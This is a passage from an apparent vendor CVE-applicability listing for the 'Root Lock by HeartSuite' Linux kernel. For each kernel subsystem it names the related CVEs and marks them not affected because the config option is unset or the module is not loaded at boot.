Status: Not Affected Config gate: CONFIG_NVME_CORE not set CVEs covered: CVE-2023-5178, CVE-2023-6356, CVE-2023-6536

CONFIG_NVME_CORE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

CIFS/SMB Client

Status: Not Affected Config gate: CONFIG_CIFS not set CVEs covered: CVE-2023-1194, CVE-2023-52434, CVE-2023-52440

CONFIG_CIFS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

ATM Protocol

Status: Not Affected Config gate: CONFIG_ATM not set CVEs covered: CVE-2023-51780

CONFIG_ATM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Rose

Status: Not Affected Config gate: CONFIG_ROSE not set CVEs covered: CVE-2023-51782

CONFIG_ROSE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Tls

Status: Not Affected Config gate: CONFIG_TLS not set CVEs covered: CVE-2024-0646

CONFIG_TLS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

DCCP Protocol

Status: Not Affected Config gate: CONFIG_IP_DCCP not set CVEs covered: CVE-2023-39197

CONFIG_IP_DCCP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

AMD GPU (amdgpu)

Status: Not Affected Config gate: CONFIG_DRM_AMDGPU not set CVEs covered: CVE-2023-51042

CONFIG_DRM_AMDGPU is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

F2FS Filesystem

Status: Not Affected Config gate: CONFIG_F2FS_FS not set CVEs covered: CVE-2023-52436, CVE-2023-52444

CONFIG_F2FS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Atheros Wireless Driver

Status: Not Affected Config gate: CONFIG_ATH not set CVEs covered: CVE-2023-52464

CONFIG_ATH is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Mctp

Status: Not Affected Config gate: CONFIG_MCTP not set CVEs covered: CVE-2023-52483

CONFIG_MCTP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

FUSE Filesystem

Status: Not Affected Config gate: CONFIG_FUSE_FS not set CVEs covered: CVE-2023-52504

CONFIG_FUSE_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

NFC

Status: Not Affected Config gate: CONFIG_NFC not set CVEs covered: CVE-2023-52507

CONFIG_NFC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Renesas Ethernet AVB Driver

Status: Not Affected Config gate: CONFIG_RAVB not set CVEs covered: CVE-2023-52509

CONFIG_RAVB is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

IEEE 802.15.4 (WPAN)

Status: Not Affected Config gate: CONFIG_IEEE802154 not set CVEs covered: CVE-2023-52510

CONFIG_IEEE802154 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

InfiniBand / RDMA

Status: Not Affected Config gate: CONFIG_INFINIBAND not set CVEs covered: CVE-2023-52515, CVE-2024-26872

CONFIG_INFINIBAND is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Spi Sun6I

Status: Not Affected Config gate: CONFIG_SPI_SUN6I not set CVEs covered: CVE-2023-52517

CONFIG_SPI_SUN6I is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Intel WiFi (iwlwifi)

Status: Not Affected Config gate: CONFIG_IWLWIFI not set CVEs covered: CVE-2023-52531, CVE-2024-26610

CONFIG_IWLWIFI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Security Tomoyo

Status: Not Affected Config gate: CONFIG_SECURITY_TOMOYO not set CVEs covered: CVE-2024-26622

CONFIG_SECURITY_TOMOYO is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Drm Msm

Status: Not Affected Config gate: CONFIG_DRM_MSM not set CVEs covered: CVE-2023-52586

CONFIG_DRM_MSM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

S390

Status: Not Affected Config gate: CONFIG_S390 not set CVEs covered: CVE-2023-52598, CVE-2024-26957

CONFIG_S390 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Jfs Fs

Status: Not Affected Config gate: CONFIG_JFS_FS not set CVEs covered: CVE-2023-52599, CVE-2023-52600, CVE-2023-52603, CVE-2023-52604

CONFIG_JFS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Llc

Status: Not Affected Component: CONFIG_LLC built as kernel module (m); not auto-loaded at boot CVEs covered: CVE-2024-26625

CONFIG_LLC is built as a loadable module on the 6.18.x Root Lock kernel but is not loaded at boot on a default install. The LLC protocol stack is absent from the running kernel until the module is explicitly loaded. There is no reachable code path for any CVE in this group on a default Root Lock deployment.

Mhi Bus

Status: Not Affected Config gate: CONFIG_MHI_BUS not set CVEs covered: CVE-2023-52494

CONFIG_MHI_BUS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Ip Tunnel

Status: Not Affected Config gate: CONFIG_IP_TUNNEL not set CVEs covered: CVE-2024-26665

CONFIG_IP_TUNNEL is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Afs Fs

Status: Not Affected Config gate: CONFIG_AFS_FS not set CVEs covered: CVE-2024-26736

CONFIG_AFS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Traffic Control: act_mirred

Status: Not Affected Config gate: CONFIG_NET_ACT_MIRRED not set CVEs covered: CVE-2024-26739

CONFIG_NET_ACT_MIRRED is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Usb Cdns3

Status: Not Affected Config gate: CONFIG_USB_CDNS3 not set CVEs covered: CVE-2024-26748, CVE-2024-26749

CONFIG_USB_CDNS3 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Crypto Dev Virtio

Status: Not Affected Config gate: CONFIG_CRYPTO_DEV_VIRTIO not set CVEs covered: CVE-2024-26753

CONFIG_CRYPTO_DEV_VIRTIO is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Gtp

Status: Not Affected Config gate: CONFIG_GTP not set CVEs covered: CVE-2024-26754, CVE-2024-26793

CONFIG_GTP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Dm Crypt

Status: Not Affected Config gate: CONFIG_DM_CRYPT not set CVEs covered: CVE-2024-26763

CONFIG_DM_CRYPT is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

MPTCP

Status: Not Affected Config gate: CONFIG_MPTCP not set CVEs covered: CVE-2024-26782

CONFIG_MPTCP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Btrfs Filesystem

Status: Not Affected Component: CONFIG_BTRFS_FS built as kernel module (m); not auto-loaded at boot CVEs covered: CVE-2024-26791, CVE-2024-26944, CVE-2024-35849, CVE-2024-35949, CVE-2024-39496, CVE-2024-42314, CVE-2024-50217, CVE-2024-56581, CVE-2024-56582, CVE-2024-56759, CVE-2024-57896, CVE-2025-39738, CVE-2025-39759, CVE-2022-50300

CONFIG_BTRFS_FS is built as a loadable module on the 6.18.x Root Lock kernel but is not loaded at boot on a default install. Mounting a Btrfs volume requires explicitly loading the module. There is no reachable code path for any CVE in this group unless you load the module and mount Btrfs.

Thinkpad Lmi

Status: Not Affected Config gate: CONFIG_THINKPAD_LMI not set CVEs covered: CVE-2024-26836

CONFIG_THINKPAD_LMI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Sparx5 Switch

Status: Not Affected Config gate: CONFIG_SPARX5_SWITCH not set CVEs covered: CVE-2024-26856

CONFIG_SPARX5_SWITCH is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Rds

Status: Not Affected Config gate: CONFIG_RDS not set CVEs covered: CVE-2024-26865, CVE-2022-48637, CVE-2024-27024

CONFIG_RDS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

TUN/TAP Driver

Status: Not Affected Config gate: CONFIG_TUN not set CVEs covered: CVE-2024-26882

CONFIG_TUN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Mlxbf I2C

Status: Not Affected Config gate: CONFIG_MLXBF_I2C not set CVEs covered: CVE-2022-48632

CONFIG_MLXBF_I2C is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

ARM64 Architecture

Status: Not Affected Config gate: CONFIG_ARM64 not set CVEs covered: CVE-2022-48657, CVE-2024-26989

CONFIG_ARM64 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Nilfs2 Fs

Status: Not Affected Config gate: CONFIG_NILFS2_FS not set CVEs covered: CVE-2024-26955, CVE-2024-26956, CVE-2024-26981

CONFIG_NILFS2_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Common Clk Qcom

Status: Not Affected Config gate: CONFIG_COMMON_CLK_QCOM not set CVEs covered: CVE-2024-26965

CONFIG_COMMON_CLK_QCOM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

USB Gadget

Status: Not Affected Config gate: CONFIG_USB_GADGET not set CVEs covered: CVE-2024-26996

CONFIG_USB_GADGET is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Nouveau (NVIDIA open-source)

Status: Not Affected Config gate: CONFIG_DRM_NOUVEAU not set CVEs covered: CVE-2024-27008

CONFIG_DRM_NOUVEAU is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Dvb Core

Status: Not Affected Config gate: CONFIG_DVB_CORE not set CVEs covered: CVE-2024-27075

CONFIG_DVB_CORE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Peci

Status: Not Affected Config gate: CONFIG_PECI not set CVEs covered: CVE-2022-48670

CONFIG_PECI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Of

Status: Not Affected Config gate: CONFIG_OF not set CVEs covered: CVE-2022-48672

CONFIG_OF is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

EROFS Filesystem

Status: Not Affected Config gate: CONFIG_EROFS_FS not set CVEs covered: CVE-2022-48674

CONFIG_EROFS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Open vSwitch

Status: Not Affected Config gate: CONFIG_OPENVSWITCH not set CVEs covered: CVE-2024-27395

CONFIG_OPENVSWITCH is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

FireWire

Status: Not Affected Config gate: CONFIG_FIREWIRE not set CVEs covered: CVE-2024-27401

CONFIG_FIREWIRE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Kvm

Status: Not Affected Config gate: CONFIG_KVM not set CVEs covered: CVE-2024-35791

CONFIG_KVM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Aquantia Atlantic Driver

Status: Not Affected Config gate: CONFIG_ATLANTIC not set CVEs covered: CVE-2023-52664

CONFIG_ATLANTIC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Mellanox mlx5 Driver

Status: Not Affected Config gate: CONFIG_MLX5_CORE not set CVEs covered: CVE-2023-52667

CONFIG_MLX5_CORE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

AX.25 / Ham Radio

Status: Not Affected Config gate: CONFIG_AX25 not set CVEs covered: CVE-2024-35887

CONFIG_AX25 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Dma Direct Remap

Status: Not Affected Config gate: CONFIG_DMA_DIRECT_REMAP not set CVEs covered: CVE-2024-35939

CONFIG_DMA_DIRECT_REMAP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Fb

Status: Not Affected Config gate: CONFIG_FB not set CVEs covered: CVE-2023-52731

CONFIG_FB is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

GFS2 Shared Filesystem

Status: Not Affected Config gate: CONFIG_GFS2_FS not set CVEs covered: CVE-2023-52760

CONFIG_GFS2_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

GSPCA USB Webcam Driver

Status: Not Affected Config gate: CONFIG_USB_GSPCA_CORE not set CVEs covered: CVE-2023-52764

CONFIG_USB_GSPCA_CORE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

SMC (RDMA over Converged Ethernet)

Status: Not Affected Config gate: CONFIG_SMC not set CVEs covered: CVE-2023-52775

CONFIG_SMC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

IPVLAN Driver

Status: Not Affected Config gate: CONFIG_IPVLAN not set CVEs covered: CVE-2023-52796

CONFIG_IPVLAN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

HiSilicon HNS3 Driver

Status: Not Affected Config gate: CONFIG_HNS3 not set CVEs covered: CVE-2023-52807

CONFIG_HNS3 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

KVM AMD

Status: Not Affected Config gate: CONFIG_KVM_AMD not set CVEs covered: CVE-2023-52816

CONFIG_KVM_AMD is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Network Block Device (NBD)

Status: Not Affected Config gate: CONFIG_BLK_DEV_NBD not set CVEs covered: CVE-2023-52837

CONFIG_BLK_DEV_NBD is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Synaptics RMI4 Driver

Status: Not Affected Config gate: CONFIG_RMI4_CORE not set CVEs covered: CVE-2023-52840

CONFIG_RMI4_CORE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Bt848 Video Capture Driver

Status: Not Affected Config gate: CONFIG_VIDEO_BT848 not set CVEs covered: CVE-2023-52847

CONFIG_VIDEO_BT848 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Hw Perf Events Hisi

Status: Not Affected Config gate: CONFIG_HW_PERF_EVENTS_HISI not set CVEs covered: CVE-2023-52859

CONFIG_HW_PERF_EVENTS_HISI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

WMI Driver

Status: Not Affected Config gate: CONFIG_WMI not set CVEs covered: CVE-2023-52864

CONFIG_WMI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

AMD Radeon GPU

Status: Not Affected Config gate: CONFIG_DRM_RADEON not set CVEs covered: CVE-2023-52867

CONFIG_DRM_RADEON is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Parallel Port Device

Status: Not Affected Config gate: CONFIG_PPDEV not set CVEs covered: CVE-2024-36015

CONFIG_PPDEV is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

TIPC Protocol

Status: Not Affected Config gate: CONFIG_TIPC not set CVEs covered: CVE-2024-36886

CONFIG_TIPC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

GPIO Library

Status: Not Affected Config gate: CONFIG_GPIOLIB not set CVEs covered: CVE-2024-36898, CVE-2024-36899

CONFIG_GPIOLIB is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Pin Controller Subsystem

Status: Not Affected Config gate: CONFIG_PINCTRL not set CVEs covered: CVE-2024-36940

CONFIG_PINCTRL is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

VMware SVGA (vmwgfx)

Status: Not Affected Config gate: CONFIG_DRM_VMWGFX not set CVEs covered: CVE-2024-36960

CONFIG_DRM_VMWGFX is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Traffic Control: sch_multiq

Status: Not Affected Config gate: CONFIG_NET_SCH_MULTIQ not set CVEs covered: CVE-2024-36978

CONFIG_NET_SCH_MULTIQ is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

IMA (Integrity Measurement Architecture)

Status: Not Affected Config gate: CONFIG_IMA not set CVEs covered: CVE-2024-38667

CONFIG_IMA is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

IMA’s measurement and appraisal functions — runtime file integrity checking and boot-time measurement logs — are also absent as a result. Boot-path protection in Root Lock by HeartSuite is provided structurally: the kernel image directory and /boot are sealed under Lockdown using chattr +i immutability, preventing modification while the HeartSuite kernel is running. CONFIG_KEXEC_FILE (the signed-image kexec variant) is also not set. Secure Boot is not enforced or verified by Root Lock by HeartSuite; if Secure Boot is required, it must be configured at the firmware and bootloader level independently.

PowerPC Architecture

Status: Not Affected Config gate: CONFIG_PPC not set CVEs covered: CVE-2024-40974

CONFIG_PPC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Xfs Fs

Status: Not Affected Component: CONFIG_XFS_FS built as kernel module (m); not auto-loaded at boot CVEs covered: CVE-2024-41013, CVE-2024-41014

CONFIG_XFS_FS is built as a loadable module on the 6.18.x Root Lock kernel but is not loaded at boot on a default install. Mounting an XFS volume requires explicitly loading the module. There is no reachable code path for any CVE in this group unless you load the module and mount XFS.

HFS+ Filesystem

Status: Not Affected Config gate: CONFIG_HFSPLUS_FS not set CVEs covered: CVE-2024-41059

CONFIG_HFSPLUS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

ISDN

Status: Not Affected Config gate: CONFIG_ISDN not set CVEs covered: CVE-2024-42280

CONFIG_ISDN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Platform X86

Status: Not Affected Config gate: CONFIG_PLATFORM_X86 not set CVEs covered: CVE-2024-46859

CONFIG_PLATFORM_X86 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

OCFS2 Filesystem

Status: Not Affected Config gate: CONFIG_OCFS2_FS not set CVEs covered: CVE-2024-47670

CONFIG_OCFS2_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Xen Hypervisor

Status: Not Affected Config gate: CONFIG_XEN not set CVEs covered: CVE-2024-49936

CONFIG_XEN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

PPP

Status: Not Affected Config gate: CONFIG_PPP not set CVEs covered: CVE-2024-50033, CVE-2024-50035

CONFIG_PPP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

QCOM RmNet Driver

Status: Not Affected Config gate: CONFIG_RMNET not set CVEs covered: CVE-2024-50128

CONFIG_RMNET is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

UDF Filesystem

Status: Not Affected Config gate: CONFIG_UDF_FS not set CVEs covered: CVE-2024-50143

CONFIG_UDF_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

LoongArch Architecture

Status: Not Affected Config gate: CONFIG_LOONGARCH not set CVEs covered: CVE-2024-56628

CONFIG_LOONGARCH is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Realtek WiFi Driver

Status: Not Affected Config gate: CONFIG_RTLWIFI not set CVEs covered: CVE-2024-58072

CONFIG_RTLWIFI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Broadcom WiFi Driver

Status: Not Affected Config gate: CONFIG_BRCMFMAC not set CVEs covered: CVE-2022-49740

CONFIG_BRCMFMAC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

MemStick Driver

Status: Not Affected Config gate: CONFIG_MEMSTICK not set CVEs covered: CVE-2025-22020

CONFIG_MEMSTICK is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

SCTP Protocol

Status: Not Affected Config gate: CONFIG_IP_SCTP not set CVEs covered: CVE-2025-23142

CONFIG_IP_SCTP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Ntfs Fs

Status: Not Affected Config gate: CONFIG_NTFS_FS not set CVEs covered: CVE-2022-49763

CONFIG_NTFS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Net Sch Qfq

Status: Not Affected Config gate: CONFIG_NET_SCH_QFQ not set CVEs covered: CVE-2025-37913

CONFIG_NET_SCH_QFQ is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Af Rxrpc

Status: Not Affected Config gate: CONFIG_AF_RXRPC not set CVEs covered: CVE-2023-53218

CONFIG_AF_RXRPC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Marvell WiFi Driver

Status: Not Affected Config gate: CONFIG_MWIFIEX not set CVEs covered: CVE-2025-39891

CONFIG_MWIFIEX is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Microchip WILC1000 WiFi Driver

Status: Not Affected Config gate: CONFIG_WILC1000 not set CVEs covered: CVE-2025-39952

CONFIG_WILC1000 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Traffic Control: cls_u32

Status: Not Affected Config gate: CONFIG_NET_CLS_U32 not set CVEs covered: CVE-2026-23204

CONFIG_NET_CLS_U32 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

SAA7134 Media Driver

Status: Not Affected Config gate: CONFIG_VIDEO_SAA7134 not set CVEs covered: CVE-2023-35823

CONFIG_VIDEO_SAA7134 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

DM1105 DVB Driver

Status: Not Affected Config gate: CONFIG_VIDEO_DM1105 not set CVEs covered: CVE-2023-35824

CONFIG_VIDEO_DM1105 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Allwinner Cedrus Video Codec

Status: Not Affected Config gate: CONFIG_VIDEO_SUNXI_CEDRUS not set CVEs covered: CVE-2023-35826

CONFIG_VIDEO_SUNXI_CEDRUS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Renesas USB3 Driver

Status: Not Affected Config gate: CONFIG_USB_RENESAS_USBHS3 not set CVEs covered: CVE-2023-35828

CONFIG_USB_RENESAS_USBHS3 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Rockchip Video Decoder

Status: Not Affected Config gate: CONFIG_VIDEO_RKVDEC not set CVEs covered: CVE-2023-35829

CONFIG_VIDEO_RKVDEC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Intel IGB Ethernet Driver

Status: Not Affected Config gate: CONFIG_IGB not set CVEs covered: CVE-2023-45871

CONFIG_IGB is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

AppleTalk Protocol

Status: Not Affected Config gate: CONFIG_ATALK not set CVEs covered: CVE-2023-51781

CONFIG_ATALK is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Hauppauge pvrusb2 Driver

Status: Not Affected Config gate: CONFIG_VIDEO_PVRUSB2 not set CVEs covered: CVE-2023-52445

CONFIG_VIDEO_PVRUSB2 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

PWM Subsystem

Status: Not Affected Config gate: CONFIG_PWM not set CVEs covered: CVE-2024-26599

CONFIG_PWM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Griffin PowerMate Driver

Status: Not Affected Config gate: CONFIG_INPUT_POWERMATE not set CVEs covered: CVE-2023-52475

CONFIG_INPUT_POWERMATE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

TEE Subsystem

Status: Not Affected Config gate: CONFIG_TEE not set CVEs covered: CVE-2023-52503

CONFIG_TEE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Bonding

Status: Not Affected Config gate: CONFIG_BONDING not set CVEs covered: CVE-2024-39487, CVE-2026-23099

CONFIG_BONDING is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Vmware Vmci

Status: Not Affected Config gate: CONFIG_VMWARE_VMCI not set CVEs covered: CVE-2024-39499, CVE-2024-46738, CVE-2025-38403

CONFIG_VMWARE_VMCI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Wwan

Status: Not Affected Config gate: CONFIG_WWAN not set CVEs covered: CVE-2024-40939

CONFIG_WWAN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Cachefiles

Status: Not Affected Config gate: CONFIG_CACHEFILES not set CVEs covered: CVE-2024-41050, CVE-2024-41057, CVE-2024-41074

CONFIG_CACHEFILES is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Snd Soc

Status: Not Affected Config gate: CONFIG_SND_SOC not set CVEs covered: CVE-2024-41069, CVE-2022-50325

CONFIG_SND_SOC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Iio

Status: Not Affected Config gate: CONFIG_IIO not set CVEs covered: CVE-2024-42086, CVE-2024-57906, CVE-2024-57907, CVE-2024-57908, CVE-2024-57910, CVE-2024-57911, CVE-2024-57912, CVE-2022-49792, CVE-2025-38485

CONFIG_IIO is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Vhost Vsock

Status: Not Affected Config gate: CONFIG_VHOST_VSOCK not set CVEs covered: CVE-2024-43873

CONFIG_VHOST_VSOCK is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Net Fou

Status: Not Affected Config gate: CONFIG_NET_FOU not set CVEs covered: CVE-2024-44940, CVE-2026-23083

CONFIG_NET_FOU is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Parisc

Status: Not Affected Config gate: CONFIG_PARISC not set CVEs covered: CVE-2024-44949, CVE-2022-50518

CONFIG_PARISC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Net Sch Netem

Status: Not Affected Config gate: CONFIG_NET_SCH_NETEM not set CVEs covered: CVE-2024-46800

CONFIG_NET_SCH_NETEM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Uml

Status: Not Affected Config gate: CONFIG_UML not set CVEs covered: CVE-2024-46844

CONFIG_UML is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Spi Nxp Flexspi

Status: Not Affected Config gate: CONFIG_SPI_NXP_FLEXSPI not set CVEs covered: CVE-2024-46853

CONFIG_SPI_NXP_FLEXSPI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Vdpa

Status: Not Affected Config gate: CONFIG_VDPA not set CVEs covered: CVE-2024-47748, CVE-2024-53126, CVE-2023-53082, CVE-2023-53543

CONFIG_VDPA is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Usb Serial

Status: Not Affected Config gate: CONFIG_USB_SERIAL not set CVEs covered: CVE-2024-50267

CONFIG_USB_SERIAL is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Usb Musb Hdrc

Status: Not Affected Config gate: CONFIG_USB_MUSB_HDRC not set CVEs covered: CVE-2024-50269

CONFIG_USB_MUSB_HDRC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Superh

Status: Not Affected Config gate: CONFIG_SUPERH not set CVEs covered: CVE-2024-53165

CONFIG_SUPERH is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Spi Mpc52Xx

Status: Not Affected Config gate: CONFIG_SPI_MPC52xx not set CVEs covered: CVE-2024-50051

CONFIG_SPI_MPC52xx is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Pktgen

Status: Not Affected Config gate: CONFIG_PKTGEN not set CVEs covered: CVE-2025-21680

CONFIG_PKTGEN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Orangefs Fs

Status: Not Affected Config gate: CONFIG_ORANGEFS_FS not set CVEs covered: CVE-2025-21782

CONFIG_ORANGEFS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Geneve

Status: Not Affected Config gate: CONFIG_GENEVE not set CVEs covered: CVE-2025-21858

CONFIG_GENEVE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Slimbus

Status: Not Affected Config gate: CONFIG_SLIMBUS not set CVEs covered: CVE-2025-21914

CONFIG_SLIMBUS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Udmabuf

Status: Not Affected Config gate: CONFIG_UDMABUF not set CVEs covered: CVE-2025-37803

CONFIG_UDMABUF is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Mcb

Status: Not Affected Config gate: CONFIG_MCB not set CVEs covered: CVE-2025-37817

CONFIG_MCB is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Staging

Status: Not Affected Config gate: CONFIG_STAGING not set CVEs covered: CVE-2022-49956, CVE-2023-53554

CONFIG_STAGING is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Coresight

